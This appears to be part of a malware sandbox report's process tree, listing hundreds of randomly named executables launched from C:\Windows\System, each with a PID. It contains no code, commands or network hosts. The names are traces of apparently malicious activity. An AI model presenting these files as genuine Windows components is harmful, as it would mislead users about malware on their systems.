- C:\Windows\System\nbjPjPi.exe
  C:\Windows\System\nbjPjPi.exe
  2⤵
  PID:13208
- C:\Windows\System\hkBOOJI.exe
  C:\Windows\System\hkBOOJI.exe
  2⤵
  PID:13264
- C:\Windows\System\cQfXJuX.exe
  C:\Windows\System\cQfXJuX.exe
  2⤵
  PID:13288
- C:\Windows\System\XRTdPEB.exe
  C:\Windows\System\XRTdPEB.exe
  2⤵
  PID:12364
- C:\Windows\System\zmJpZyb.exe
  C:\Windows\System\zmJpZyb.exe
  2⤵
  PID:12436
- C:\Windows\System\SkVwmFI.exe
  C:\Windows\System\SkVwmFI.exe
  2⤵
  PID:12336
- C:\Windows\System\RXOkoas.exe
  C:\Windows\System\RXOkoas.exe
  2⤵
  PID:12360
- C:\Windows\System\InQpbeR.exe
  C:\Windows\System\InQpbeR.exe
  2⤵
  PID:12460
- C:\Windows\System\JCFRTRv.exe
  C:\Windows\System\JCFRTRv.exe
  2⤵
  PID:12548
- C:\Windows\System\xfrmyLE.exe
  C:\Windows\System\xfrmyLE.exe
  2⤵
  PID:12624
- C:\Windows\System\yHsZTrr.exe
  C:\Windows\System\yHsZTrr.exe
  2⤵
  PID:12744
- C:\Windows\System\zrCRiiM.exe
  C:\Windows\System\zrCRiiM.exe
  2⤵
  PID:12944
- C:\Windows\System\uWvYbue.exe
  C:\Windows\System\uWvYbue.exe
  2⤵
  PID:12980
- C:\Windows\System\kQcRRSR.exe
  C:\Windows\System\kQcRRSR.exe
  2⤵
  PID:12396
- C:\Windows\System\LpmTZXc.exe
  C:\Windows\System\LpmTZXc.exe
  2⤵
  PID:13256
- C:\Windows\System\CdFLGQv.exe
  C:\Windows\System\CdFLGQv.exe
  2⤵
  PID:13232
- C:\Windows\System\kJWJyob.exe
  C:\Windows\System\kJWJyob.exe
  2⤵
  PID:12312
- C:\Windows\System\ZaZvouJ.exe
  C:\Windows\System\ZaZvouJ.exe
  2⤵
  PID:12500
- C:\Windows\System\ggiuIdw.exe
  C:\Windows\System\ggiuIdw.exe
  2⤵
  PID:4512
- C:\Windows\System\zearKxc.exe
  C:\Windows\System\zearKxc.exe
  2⤵
  PID:12904
- C:\Windows\System\UPMhRfh.exe
  C:\Windows\System\UPMhRfh.exe
  2⤵
  PID:13020
- C:\Windows\System\OOnIIwK.exe
  C:\Windows\System\OOnIIwK.exe
  2⤵
  PID:1724
- C:\Windows\System\GbJjmzF.exe
  C:\Windows\System\GbJjmzF.exe
  2⤵
  PID:2976
- C:\Windows\System\hDMuvLP.exe
  C:\Windows\System\hDMuvLP.exe
  2⤵
  PID:8692
- C:\Windows\System\TrUmqeJ.exe
  C:\Windows\System\TrUmqeJ.exe
  2⤵
  PID:3908
- C:\Windows\System\XwBGNqN.exe
  C:\Windows\System\XwBGNqN.exe
  2⤵
  PID:1796
- C:\Windows\System\EbQVibg.exe
  C:\Windows\System\EbQVibg.exe
  2⤵
  PID:6780
- C:\Windows\System\WYfhKLv.exe
  C:\Windows\System\WYfhKLv.exe
  2⤵
  PID:13244
- C:\Windows\System\uYdgRJL.exe
  C:\Windows\System\uYdgRJL.exe
  2⤵
  PID:7840
- C:\Windows\System\oPqzHqX.exe
  C:\Windows\System\oPqzHqX.exe
  2⤵
  PID:8264
- C:\Windows\System\EuROUXC.exe
  C:\Windows\System\EuROUXC.exe
  2⤵
  PID:11736
- C:\Windows\System\NaRJbxg.exe
  C:\Windows\System\NaRJbxg.exe
  2⤵
  PID:384
- C:\Windows\System\WWWABVx.exe
  C:\Windows\System\WWWABVx.exe
  2⤵
  PID:11800
- C:\Windows\System\crWCIKx.exe
  C:\Windows\System\crWCIKx.exe
  2⤵
  PID:13172
- C:\Windows\System\DBUjlmq.exe
  C:\Windows\System\DBUjlmq.exe
  2⤵
  PID:64
- C:\Windows\System\eXxwtsB.exe
  C:\Windows\System\eXxwtsB.exe
  2⤵
  PID:528
- C:\Windows\System\HNKWrvE.exe
  C:\Windows\System\HNKWrvE.exe
  2⤵
  PID:9736
- C:\Windows\System\CYDbklZ.exe
  C:\Windows\System\CYDbklZ.exe
  2⤵
  PID:13188
- C:\Windows\System\GxjyrQC.exe
  C:\Windows\System\GxjyrQC.exe
  2⤵
  PID:7796
- C:\Windows\System\uoThCXB.exe
  C:\Windows\System\uoThCXB.exe
  2⤵
  PID:10584
- C:\Windows\System\djhRaHF.exe
  C:\Windows\System\djhRaHF.exe
  2⤵
  PID:8096
- C:\Windows\System\FTdmPzx.exe
  C:\Windows\System\FTdmPzx.exe
  2⤵
  PID:8784
- C:\Windows\System\UWzceWM.exe
  C:\Windows\System\UWzceWM.exe
  2⤵
  PID:13272
- C:\Windows\System\wtakYIN.exe
  C:\Windows\System\wtakYIN.exe
  2⤵
  PID:12296
- C:\Windows\System\JUcfEiF.exe
  C:\Windows\System\JUcfEiF.exe
  2⤵
  PID:6776
- C:\Windows\System\USFmsUz.exe
  C:\Windows\System\USFmsUz.exe
  2⤵
  PID:7052
- C:\Windows\System\strFsnJ.exe
  C:\Windows\System\strFsnJ.exe
  2⤵
  PID:2200
- C:\Windows\System\GZQhieN.exe
  C:\Windows\System\GZQhieN.exe
  2⤵
  PID:2404
- C:\Windows\System\ULkRbYD.exe
  C:\Windows\System\ULkRbYD.exe
  2⤵
  PID:8800
- C:\Windows\System\WIvqICa.exe
  C:\Windows\System\WIvqICa.exe
  2⤵
  PID:4640
- C:\Windows\System\QCjNOBf.exe
  C:\Windows\System\QCjNOBf.exe
  2⤵
  PID:12064
- C:\Windows\System\Mhgwysl.exe
  C:\Windows\System\Mhgwysl.exe
  2⤵
  PID:11072
- C:\Windows\System\prBgdfL.exe
  C:\Windows\System\prBgdfL.exe
  2⤵
  PID:11260
- C:\Windows\System\DbUwQzI.exe
  C:\Windows\System\DbUwQzI.exe
  2⤵
  PID:5044
- C:\Windows\System\xRaoLEw.exe
  C:\Windows\System\xRaoLEw.exe
  2⤵
  PID:4612
- C:\Windows\System\xMxBrzd.exe
  C:\Windows\System\xMxBrzd.exe
  2⤵
  PID:10948
- C:\Windows\System\eNyHqkc.exe
  C:\Windows\System\eNyHqkc.exe
  2⤵
  PID:7224
- C:\Windows\System\rxpXIMK.exe
  C:\Windows\System\rxpXIMK.exe
  2⤵
  PID:12840
- C:\Windows\System\iXvbepw.exe
  C:\Windows\System\iXvbepw.exe
  2⤵
  PID:10604
- C:\Windows\System\nDYGwul.exe
  C:\Windows\System\nDYGwul.exe
  2⤵
  PID:9508
- C:\Windows\System\Rustinm.exe
  C:\Windows\System\Rustinm.exe
  2⤵
  PID:13072
- C:\Windows\System\AkzJLYy.exe
  C:\Windows\System\AkzJLYy.exe
  2⤵
  PID:9460
- C:\Windows\System\FtgCMPx.exe
  C:\Windows\System\FtgCMPx.exe
  2⤵
  PID:13088
- C:\Windows\System\bryfViY.exe
  C:\Windows\System\bryfViY.exe
  2⤵
  PID:12876
- C:\Windows\System\KclwCQG.exe
  C:\Windows\System\KclwCQG.exe
  2⤵
  PID:3948
- C:\Windows\System\VPbZhFX.exe
  C:\Windows\System\VPbZhFX.exe
  2⤵
  PID:1616
- C:\Windows\System\XVEJaPM.exe
  C:\Windows\System\XVEJaPM.exe
  2⤵
  PID:8772
- C:\Windows\System\gzrYJwO.exe
  C:\Windows\System\gzrYJwO.exe
  2⤵
  PID:10812
- C:\Windows\System\kSiZIvg.exe
  C:\Windows\System\kSiZIvg.exe
  2⤵
  PID:13116
- C:\Windows\System\jOixNJG.exe
  C:\Windows\System\jOixNJG.exe
  2⤵
  PID:10892
- C:\Windows\System\tWaTxQd.exe
  C:\Windows\System\tWaTxQd.exe
  2⤵
  PID:10876
- C:\Windows\System\bqkIkDW.exe
  C:\Windows\System\bqkIkDW.exe
  2⤵
  PID:7352
- C:\Windows\System\kaFywKf.exe
  C:\Windows\System\kaFywKf.exe
  2⤵
  PID:10004
- C:\Windows\System\GJeZmzr.exe
  C:\Windows\System\GJeZmzr.exe
  2⤵
  PID:6944
- C:\Windows\System\MhZvula.exe
  C:\Windows\System\MhZvula.exe
  2⤵
  PID:11784
- C:\Windows\System\CtpEBtZ.exe
  C:\Windows\System\CtpEBtZ.exe
  2⤵
  PID:10932
- C:\Windows\System\LSxrbEX.exe
  C:\Windows\System\LSxrbEX.exe
  2⤵
  PID:3456
- C:\Windows\System\SoeBxWu.exe
  C:\Windows\System\SoeBxWu.exe
  2⤵
  PID:13148
- C:\Windows\System\bjwWqMD.exe
  C:\Windows\System\bjwWqMD.exe
  2⤵
  PID:12392
- C:\Windows\System\OLrdgju.exe
  C:\Windows\System\OLrdgju.exe
  2⤵
  PID:12984
- C:\Windows\System\dZiZnFj.exe
  C:\Windows\System\dZiZnFj.exe
  2⤵
  PID:8240
- C:\Windows\System\LEVDYWz.exe
  C:\Windows\System\LEVDYWz.exe
  2⤵
  PID:8056
- C:\Windows\System\vqNVijl.exe
  C:\Windows\System\vqNVijl.exe
  2⤵
  PID:6580
- C:\Windows\System\IYIpUsi.exe
  C:\Windows\System\IYIpUsi.exe
  2⤵
  PID:12516
- C:\Windows\System\wFWHLpv.exe
  C:\Windows\System\wFWHLpv.exe
  2⤵
  PID:6796
- C:\Windows\System\GAjxasQ.exe
  C:\Windows\System\GAjxasQ.exe
  2⤵
  PID:7920
- C:\Windows\System\SOqtWpl.exe
  C:\Windows\System\SOqtWpl.exe
  2⤵
  PID:8032
- C:\Windows\System\XXNKvPZ.exe
  C:\Windows\System\XXNKvPZ.exe
  2⤵
  PID:12676
- C:\Windows\System\UKeHlNc.exe
  C:\Windows\System\UKeHlNc.exe
  2⤵
  PID:13108
- C:\Windows\System\uoTIfxg.exe
  C:\Windows\System\uoTIfxg.exe
  2⤵
  PID:13200
- C:\Windows\System\SLrUbVD.exe
  C:\Windows\System\SLrUbVD.exe
  2⤵
  PID:13136
- C:\Windows\System\mFPAQil.exe
  C:\Windows\System\mFPAQil.exe
  2⤵
  PID:6028
- C:\Windows\System\RuufZJU.exe
  C:\Windows\System\RuufZJU.exe
  2⤵
  PID:4384
- C:\Windows\System\pNUUBXQ.exe
  C:\Windows\System\pNUUBXQ.exe
  2⤵
  PID:5900
- C:\Windows\System\KsfrwWs.exe
  C:\Windows\System\KsfrwWs.exe
  2⤵
  PID:6128
- C:\Windows\System\XlLCXEe.exe
  C:\Windows\System\XlLCXEe.exe
  2⤵
  PID:10940
- C:\Windows\System\bUrgbjs.exe
  C:\Windows\System\bUrgbjs.exe
  2⤵
  PID:11296
- C:\Windows\System\aHZoihU.exe
  C:\Windows\System\aHZoihU.exe
  2⤵
  PID:9452
- C:\Windows\System\aMnNPsg.exe
  C:\Windows\System\aMnNPsg.exe
  2⤵
  PID:5168
- C:\Windows\System\ISbltLW.exe
  C:\Windows\System\ISbltLW.exe
  2⤵
  PID:8552
- C:\Windows\System\VFmioZW.exe
  C:\Windows\System\VFmioZW.exe
  2⤵
  PID:12112
- C:\Windows\System\lwQPfDA.exe
  C:\Windows\System\lwQPfDA.exe
  2⤵
  PID:4308
- C:\Windows\System\gTErPtn.exe
  C:\Windows\System\gTErPtn.exe
  2⤵
  PID:3140
- C:\Windows\System\tBkresg.exe
  C:\Windows\System\tBkresg.exe
  2⤵
  PID:13076
- C:\Windows\System\lTFdMvr.exe
  C:\Windows\System\lTFdMvr.exe
  2⤵
  PID:4716
- C:\Windows\System\pSJOFDi.exe
  C:\Windows\System\pSJOFDi.exe
  2⤵
  PID:2176
- C:\Windows\System\XkCxvcZ.exe
  C:\Windows\System\XkCxvcZ.exe
  2⤵
  PID:2812
- C:\Windows\System\oSUfeSh.exe
  C:\Windows\System\oSUfeSh.exe
  2⤵
  PID:1268
- C:\Windows\System\vXlvCra.exe
  C:\Windows\System\vXlvCra.exe
  2⤵
  PID:12000
- C:\Windows\System\gWQFVOA.exe
  C:\Windows\System\gWQFVOA.exe
  2⤵
  PID:2476
- C:\Windows\System\kVbzLfR.exe
  C:\Windows\System\kVbzLfR.exe
  2⤵
  PID:10648
- C:\Windows\System\BRxwXNo.exe
  C:\Windows\System\BRxwXNo.exe
  2⤵
  PID:3420
- C:\Windows\System\yCxnpjV.exe
  C:\Windows\System\yCxnpjV.exe
  2⤵
  PID:4068
- C:\Windows\System\vNKYprB.exe
  C:\Windows\System\vNKYprB.exe
  2⤵
  PID:5116
- C:\Windows\System\pesIGGR.exe
  C:\Windows\System\pesIGGR.exe
  2⤵
  PID:7464
- C:\Windows\System\zRXIkPZ.exe
  C:\Windows\System\zRXIkPZ.exe
  2⤵
  PID:4684
- C:\Windows\System\glfHCEt.exe
  C:\Windows\System\glfHCEt.exe
  2⤵
  PID:12532
- C:\Windows\System\UfAUhlR.exe
  C:\Windows\System\UfAUhlR.exe
  2⤵
  PID:13032
- C:\Windows\System\PKroKew.exe
  C:\Windows\System\PKroKew.exe
  2⤵
  PID:7388
- C:\Windows\System\iBDZKzw.exe
  C:\Windows\System\iBDZKzw.exe
  2⤵
  PID:4368
- C:\Windows\System\atXDnQN.exe
  C:\Windows\System\atXDnQN.exe
  2⤵
  PID:10904
- C:\Windows\System\ZYUXfMV.exe
  C:\Windows\System\ZYUXfMV.exe
  2⤵
  PID:7768
- C:\Windows\System\CZwDnrV.exe
  C:\Windows\System\CZwDnrV.exe
  2⤵
  PID:4816
- C:\Windows\System\GyhbgdW.exe
  C:\Windows\System\GyhbgdW.exe
  2⤵
  PID:11512
- C:\Windows\System\NGxOuuR.exe
  C:\Windows\System\NGxOuuR.exe
  2⤵
  PID:4248
- C:\Windows\System\lWNiNVA.exe
  C:\Windows\System\lWNiNVA.exe
  2⤵
  PID:6508
- C:\Windows\System\FtVKKot.exe
  C:\Windows\System\FtVKKot.exe
  2⤵
  PID:7032
- C:\Windows\System\oeomRRz.exe
  C:\Windows\System\oeomRRz.exe
  2⤵
  PID:6960
- C:\Windows\System\eZUScZE.exe
  C:\Windows\System\eZUScZE.exe
  2⤵
  PID:6884
- C:\Windows\System\PRpExdY.exe
  C:\Windows\System\PRpExdY.exe
  2⤵
  PID:8900
- C:\Windows\System\VLaqarF.exe
  C:\Windows\System\VLaqarF.exe
  2⤵
  PID:6732
- C:\Windows\System\uRdmQVy.exe
  C:\Windows\System\uRdmQVy.exe
  2⤵
  PID:6416
- C:\Windows\System\ALtJUyp.exe
  C:\Windows\System\ALtJUyp.exe
  2⤵
  PID:1124
- C:\Windows\System\MVWoACF.exe
  C:\Windows\System\MVWoACF.exe
  2⤵
  PID:7156
- C:\Windows\System\emGViBn.exe
  C:\Windows\System\emGViBn.exe
  2⤵
  PID:732
- C:\Windows\System\bJneueg.exe
  C:\Windows\System\bJneueg.exe
  2⤵
  PID:12428
- C:\Windows\System\RPcTJQs.exe
  C:\Windows\System\RPcTJQs.exe
  2⤵
  PID:6696
- C:\Windows\System\FGGGQaG.exe
  C:\Windows\System\FGGGQaG.exe
  2⤵
  PID:5244
- C:\Windows\System\gcKTdRl.exe
  C:\Windows\System\gcKTdRl.exe
  2⤵
  PID:5308
- C:\Windows\System\uKYmNQy.exe
  C:\Windows\System\uKYmNQy.exe
  2⤵
  PID:6592
- C:\Windows\System\lxcueHS.exe
  C:\Windows\System\lxcueHS.exe
  2⤵
  PID:11928
- C:\Windows\System\Hicdxff.exe
  C:\Windows\System\Hicdxff.exe
  2⤵
  PID:4948
- C:\Windows\System\ZZTQwrr.exe
  C:\Windows\System\ZZTQwrr.exe
  2⤵
  PID:13160
- C:\Windows\System\TjZjLsD.exe
  C:\Windows\System\TjZjLsD.exe
  2⤵
  PID:2732
- C:\Windows\System\jsExiNb.exe
  C:\Windows\System\jsExiNb.exe
  2⤵
  PID:1032
- C:\Windows\System\WNFwzWU.exe
  C:\Windows\System\WNFwzWU.exe
  2⤵
  PID:4356
- C:\Windows\System\HppNbYs.exe
  C:\Windows\System\HppNbYs.exe
  2⤵
  PID:12520
- C:\Windows\System\BqyCahR.exe
  C:\Windows\System\BqyCahR.exe
  2⤵
  PID:5716
- C:\Windows\System\qiMTHee.exe
  C:\Windows\System\qiMTHee.exe
  2⤵
  PID:11104
- C:\Windows\System\cIoVBHf.exe
  C:\Windows\System\cIoVBHf.exe
  2⤵
  PID:4452
- C:\Windows\System\QvwjSDm.exe
  C:\Windows\System\QvwjSDm.exe
  2⤵
  PID:6564
- C:\Windows\System\iWKXyzI.exe
  C:\Windows\System\iWKXyzI.exe
  2⤵
  PID:6452
- C:\Windows\System\hspTJIZ.exe
  C:\Windows\System\hspTJIZ.exe
  2⤵
  PID:10516
- C:\Windows\System\nhxmGVc.exe
  C:\Windows\System\nhxmGVc.exe
  2⤵
  PID:6640
- C:\Windows\System\zNefrhi.exe
  C:\Windows\System\zNefrhi.exe
  2⤵
  PID:2876
- C:\Windows\System\RFhfFdE.exe
  C:\Windows\System\RFhfFdE.exe
  2⤵
  PID:6312
- C:\Windows\System\nLxOrGm.exe
  C:\Windows\System\nLxOrGm.exe
  2⤵
  PID:6272
- C:\Windows\System\MFZBaWe.exe
  C:\Windows\System\MFZBaWe.exe
  2⤵
  PID:6812
- C:\Windows\System\PFuMOZH.exe
  C:\Windows\System\PFuMOZH.exe
  2⤵
  PID:6612
- C:\Windows\System\RhXbmUz.exe
  C:\Windows\System\RhXbmUz.exe
  2⤵
  PID:5668
- C:\Windows\System\ecKhOZs.exe
  C:\Windows\System\ecKhOZs.exe
  2⤵
  PID:7420
- C:\Windows\System\IuVWDPU.exe
  C:\Windows\System\IuVWDPU.exe
  2⤵
  PID:8332
- C:\Windows\System\rxxXOce.exe
  C:\Windows\System\rxxXOce.exe
  2⤵
  PID:8368
- C:\Windows\System\MuDfvPC.exe
  C:\Windows\System\MuDfvPC.exe
  2⤵
  PID:6192
- C:\Windows\System\QwZTAQE.exe
  C:\Windows\System\QwZTAQE.exe
  2⤵
  PID:2280
- C:\Windows\System\GWkUvOp.exe
  C:\Windows\System\GWkUvOp.exe
  2⤵
  PID:7520
- C:\Windows\System\VvlcFzP.exe
  C:\Windows\System\VvlcFzP.exe
  2⤵
  PID:7736
- C:\Windows\System\RvGytrr.exe
  C:\Windows\System\RvGytrr.exe
  2⤵
  PID:3536
- C:\Windows\System\pbHzcsg.exe
  C:\Windows\System\pbHzcsg.exe
  2⤵
  PID:5184
- C:\Windows\System\zWdFPmh.exe
  C:\Windows\System\zWdFPmh.exe
  2⤵
  PID:5228
- C:\Windows\System\cHghIzD.exe
  C:\Windows\System\cHghIzD.exe
  2⤵
  PID:7604
- C:\Windows\System\tWLnuLT.exe
  C:\Windows\System\tWLnuLT.exe
  2⤵
  PID:7780
- C:\Windows\System\SrJVwDM.exe
  C:\Windows\System\SrJVwDM.exe
  2⤵
  PID:11460
- C:\Windows\System\vuEFZlV.exe
  C:\Windows\System\vuEFZlV.exe
  2⤵
  PID:2700
- C:\Windows\System\HdMllkw.exe
  C:\Windows\System\HdMllkw.exe
  2⤵
  PID:5272
- C:\Windows\System\DmdCAEQ.exe
  C:\Windows\System\DmdCAEQ.exe
  2⤵
  PID:3892
- C:\Windows\System\puIGakb.exe
  C:\Windows\System\puIGakb.exe
  2⤵
  PID:12208
- C:\Windows\System\PrnwXBB.exe
  C:\Windows\System\PrnwXBB.exe
  2⤵
  PID:3772
- C:\Windows\System\QzFZjys.exe
  C:\Windows\System\QzFZjys.exe
  2⤵
  PID:7608
- C:\Windows\System\qJTFdHv.exe
  C:\Windows\System\qJTFdHv.exe
  2⤵
  PID:5200
- C:\Windows\System\ZEdAzto.exe
  C:\Windows\System\ZEdAzto.exe
  2⤵
  PID:7408
- C:\Windows\System\mbWiYMi.exe
  C:\Windows\System\mbWiYMi.exe
  2⤵
  PID:5136
- C:\Windows\System\RzBuztf.exe
  C:\Windows\System\RzBuztf.exe
  2⤵
  PID:4616
- C:\Windows\System\EPsACnU.exe
  C:\Windows\System\EPsACnU.exe
  2⤵
  PID:8872
- C:\Windows\System\KUFfWlE.exe
  C:\Windows\System\KUFfWlE.exe
  2⤵
  PID:9012
- C:\Windows\System\FYuZeAZ.exe
  C:\Windows\System\FYuZeAZ.exe
  2⤵
  PID:8756
- C:\Windows\System\FzYhNSv.exe
  C:\Windows\System\FzYhNSv.exe
  2⤵
  PID:4920
- C:\Windows\System\qRQRGgq.exe
  C:\Windows\System\qRQRGgq.exe
  2⤵
  PID:12544
- C:\Windows\System\wnZZyBS.exe
  C:\Windows\System\wnZZyBS.exe
  2⤵
  PID:8116
- C:\Windows\System\XjArdPh.exe
  C:\Windows\System\XjArdPh.exe
  2⤵
  PID:13120
- C:\Windows\System\ptOguCj.exe
  C:\Windows\System\ptOguCj.exe
  2⤵
  PID:8568
- C:\Windows\System\vDaGOzr.exe
  C:\Windows\System\vDaGOzr.exe
  2⤵
  PID:10668
- C:\Windows\System\JtfVwot.exe
  C:\Windows\System\JtfVwot.exe
  2⤵
  PID:4636
- C:\Windows\System\KxmtYQf.exe
  C:\Windows\System\KxmtYQf.exe
  2⤵
  PID:9204
- C:\Windows\System\kXjJJDY.exe
  C:\Windows\System\kXjJJDY.exe
  2⤵
  PID:9200
- C:\Windows\System\rPrEtbO.exe
  C:\Windows\System\rPrEtbO.exe
  2⤵
  PID:9632
- C:\Windows\System\VZQkISn.exe
  C:\Windows\System\VZQkISn.exe
  2⤵
  PID:9152
- C:\Windows\System\hLGERRv.exe
  C:\Windows\System\hLGERRv.exe
  2⤵
  PID:3028
- C:\Windows\System\XKjJRbL.exe
  C:\Windows\System\XKjJRbL.exe
  2⤵
  PID:6488
- C:\Windows\System\mOMKNFU.exe
  C:\Windows\System\mOMKNFU.exe
  2⤵
  PID:3984
- C:\Windows\System\PNBpNoZ.exe
  C:\Windows\System\PNBpNoZ.exe
  2⤵
  PID:7916
- C:\Windows\System\CRZXyRZ.exe
  C:\Windows\System\CRZXyRZ.exe
  2⤵
  PID:4876
- C:\Windows\System\rUCKFNl.exe
  C:\Windows\System\rUCKFNl.exe
  2⤵
  PID:7988
- C:\Windows\System\benwitj.exe
  C:\Windows\System\benwitj.exe
  2⤵
  PID:8120
- C:\Windows\System\GaNcmJL.exe
  C:\Windows\System\GaNcmJL.exe
  2⤵
  PID:2904
- C:\Windows\System\YHXxIZv.exe
  C:\Windows\System\YHXxIZv.exe
  2⤵
  PID:3836
- C:\Windows\System\LavWxvi.exe
  C:\Windows\System\LavWxvi.exe
  2⤵
  PID:9164
- C:\Windows\System\lRbtWcF.exe
  C:\Windows\System\lRbtWcF.exe
  2⤵
  PID:6236
- C:\Windows\System\qXsecHl.exe
  C:\Windows\System\qXsecHl.exe
  2⤵
  PID:9096
- C:\Windows\System\jcMwDEP.exe
  C:\Windows\System\jcMwDEP.exe
  2⤵
  PID:8712
- C:\Windows\System\VFhMbQg.exe
  C:\Windows\System\VFhMbQg.exe
  2⤵
  PID:9232
- C:\Windows\System\jnoPBMP.exe
  C:\Windows\System\jnoPBMP.exe
  2⤵
  PID:12640
- C:\Windows\System\iAqSkup.exe
  C:\Windows\System\iAqSkup.exe
  2⤵
  PID:7140
- C:\Windows\System\jjqMBEJ.exe
  C:\Windows\System\jjqMBEJ.exe
  2⤵
  PID:8724
- C:\Windows\System\Ssqfcbf.exe
  C:\Windows\System\Ssqfcbf.exe
  2⤵
  PID:6280
- C:\Windows\System\QHnndeN.exe
  C:\Windows\System\QHnndeN.exe
  2⤵
  PID:1436
- C:\Windows\System\vJSozMg.exe
  C:\Windows\System\vJSozMg.exe
  2⤵
  PID:3416
- C:\Windows\System\PcPuNFw.exe
  C:\Windows\System\PcPuNFw.exe
  2⤵
  PID:6196
- C:\Windows\System\XAndOdL.exe
  C:\Windows\System\XAndOdL.exe
  2⤵
  PID:4692
- C:\Windows\System\xfQjESC.exe
  C:\Windows\System\xfQjESC.exe
  2⤵
  PID:4496
- C:\Windows\System\reqQdjN.exe
  C:\Windows\System\reqQdjN.exe
  2⤵
  PID:4836
- C:\Windows\System\IdmDprO.exe
  C:\Windows\System\IdmDprO.exe
  2⤵
  PID:2884
- C:\Windows\System\dHGaFad.exe
  C:\Windows\System\dHGaFad.exe
  2⤵
  PID:7000
- C:\Windows\System\dnmXppe.exe
  C:\Windows\System\dnmXppe.exe
  2⤵
  PID:9352
- C:\Windows\System\OYHeHEi.exe
  C:\Windows\System\OYHeHEi.exe
  2⤵
  PID:7628
- C:\Windows\System\oKQWlYt.exe
  C:\Windows\System\oKQWlYt.exe
  2⤵
  PID:5240
- C:\Windows\System\RHJvyPo.exe
  C:\Windows\System\RHJvyPo.exe
  2⤵
  PID:9496
- C:\Windows\System\LdwqXlZ.exe
  C:\Windows\System\LdwqXlZ.exe
  2⤵
  PID:9544
- C:\Windows\System\QhrDwLv.exe
  C:\Windows\System\QhrDwLv.exe
  2⤵
  PID:5588
- C:\Windows\System\YgBKlih.exe
  C:\Windows\System\YgBKlih.exe
  2⤵
  PID:5560
- C:\Windows\System\qynSVKh.exe
  C:\Windows\System\qynSVKh.exe
  2⤵
  PID:12908
- C:\Windows\System\DeDkbhz.exe
  C:\Windows\System\DeDkbhz.exe
  2⤵
  PID:4632
- C:\Windows\System\MSSJnHQ.exe
  C:\Windows\System\MSSJnHQ.exe
  2⤵
  PID:11016
- C:\Windows\System\HvjzBoN.exe
  C:\Windows\System\HvjzBoN.exe
  2⤵
  PID:9852
- C:\Windows\System\nxeTmtt.exe
  C:\Windows\System\nxeTmtt.exe
  2⤵
  PID:6008
- C:\Windows\System\htQDhlh.exe
  C:\Windows\System\htQDhlh.exe
  2⤵
  PID:10496
- C:\Windows\System\YJwyKYj.exe
  C:\Windows\System\YJwyKYj.exe
  2⤵
  PID:8612
- C:\Windows\System\iZWCWXk.exe
  C:\Windows\System\iZWCWXk.exe
  2⤵
  PID:1924
- C:\Windows\System\rkbMlsz.exe
  C:\Windows\System\rkbMlsz.exe
  2⤵
  PID:5996
- C:\Windows\System\GFMntSs.exe
  C:\Windows\System\GFMntSs.exe
  2⤵
  PID:12160
- C:\Windows\System\vtQBYXL.exe
  C:\Windows\System\vtQBYXL.exe
  2⤵
  PID:5656
- C:\Windows\System\lOkQMRa.exe
  C:\Windows\System\lOkQMRa.exe
  2⤵
  PID:10164
- C:\Windows\System\FSsRYuE.exe
  C:\Windows\System\FSsRYuE.exe
  2⤵
  PID:9608
- C:\Windows\System\icNzzlR.exe
  C:\Windows\System\icNzzlR.exe
  2⤵
  PID:5320
- C:\Windows\System\cxikDlw.exe
  C:\Windows\System\cxikDlw.exe
  2⤵
  PID:4004
- C:\Windows\System\lOwUyOq.exe
  C:\Windows\System\lOwUyOq.exe
  2⤵
  PID:10472
- C:\Windows\System\jYUnTyB.exe
  C:\Windows\System\jYUnTyB.exe
  2⤵
  PID:7276
- C:\Windows\System\RjMhFee.exe
  C:\Windows\System\RjMhFee.exe
  2⤵
  PID:9900
- C:\Windows\System\RfYkLQb.exe
  C:\Windows\System\RfYkLQb.exe
  2⤵
  PID:3276
- C:\Windows\System\cGEHygq.exe
  C:\Windows\System\cGEHygq.exe
  2⤵
  PID:12528
- C:\Windows\System\dADCKzK.exe
  C:\Windows\System\dADCKzK.exe
  2⤵
  PID:1000
- C:\Windows\System\GgXDKae.exe
  C:\Windows\System\GgXDKae.exe
  2⤵
  PID:10236
- C:\Windows\System\lygiCrL.exe
  C:\Windows\System\lygiCrL.exe
  2⤵
  PID:9636
- C:\Windows\System\wBDRHrx.exe
  C:\Windows\System\wBDRHrx.exe
  2⤵
  PID:9348
- C:\Windows\System\Egdmxic.exe
  C:\Windows\System\Egdmxic.exe
  2⤵
  PID:12760
- C:\Windows\System\MZzaAFg.exe
  C:\Windows\System\MZzaAFg.exe
  2⤵
  PID:12868
- C:\Windows\System\VZscSMR.exe
  C:\Windows\System\VZscSMR.exe
  2⤵
  PID:13004
- C:\Windows\System\vijlsuq.exe
  C:\Windows\System\vijlsuq.exe
  2⤵
  PID:8396
- C:\Windows\System\aBPeFKf.exe
  C:\Windows\System\aBPeFKf.exe
  2⤵
  PID:10464
- C:\Windows\System\AAjzQgh.exe
  C:\Windows\System\AAjzQgh.exe
  2⤵
  PID:5828
- C:\Windows\System\RcFVkFn.exe
  C:\Windows\System\RcFVkFn.exe
  2⤵
  PID:5712
- C:\Windows\System\SxMIQap.exe
  C:\Windows\System\SxMIQap.exe
  2⤵
  PID:6908
- C:\Windows\System\ohNcpXf.exe
  C:\Windows\System\ohNcpXf.exe
  2⤵
  PID:10976
- C:\Windows\System\nghxnLk.exe
  C:\Windows\System\nghxnLk.exe
  2⤵
  PID:11704
- C:\Windows\System\deabyFh.exe
  C:\Windows\System\deabyFh.exe
  2⤵
  PID:1708
- C:\Windows\System\lhzSdHV.exe
  C:\Windows\System\lhzSdHV.exe
  2⤵
  PID:6460
- C:\Windows\System\fOpwYxP.exe
  C:\Windows\System\fOpwYxP.exe
  2⤵
  PID:3688
- C:\Windows\System\QtIKycO.exe
  C:\Windows\System\QtIKycO.exe
  2⤵
  PID:10300
- C:\Windows\System\kAuImnx.exe
  C:\Windows\System\kAuImnx.exe
  2⤵
  PID:8304
- C:\Windows\System\GQvKEmC.exe
  C:\Windows\System\GQvKEmC.exe
  2⤵
  PID:7152
- C:\Windows\System\cnAmwxM.exe
  C:\Windows\System\cnAmwxM.exe
  2⤵
  PID:3600
- C:\Windows\System\qxDpFIR.exe
  C:\Windows\System\qxDpFIR.exe
  2⤵
  PID:10688
- C:\Windows\System\YiMgnjL.exe
  C:\Windows\System\YiMgnjL.exe
  2⤵
  PID:10840
- C:\Windows\System\GhzDeTj.exe
  C:\Windows\System\GhzDeTj.exe
  2⤵
  PID:9256
- C:\Windows\System\CHMhYgQ.exe
  C:\Windows\System\CHMhYgQ.exe
  2⤵
  PID:11056
- C:\Windows\System\kBAJbRZ.exe
  C:\Windows\System\kBAJbRZ.exe
  2⤵
  PID:8196
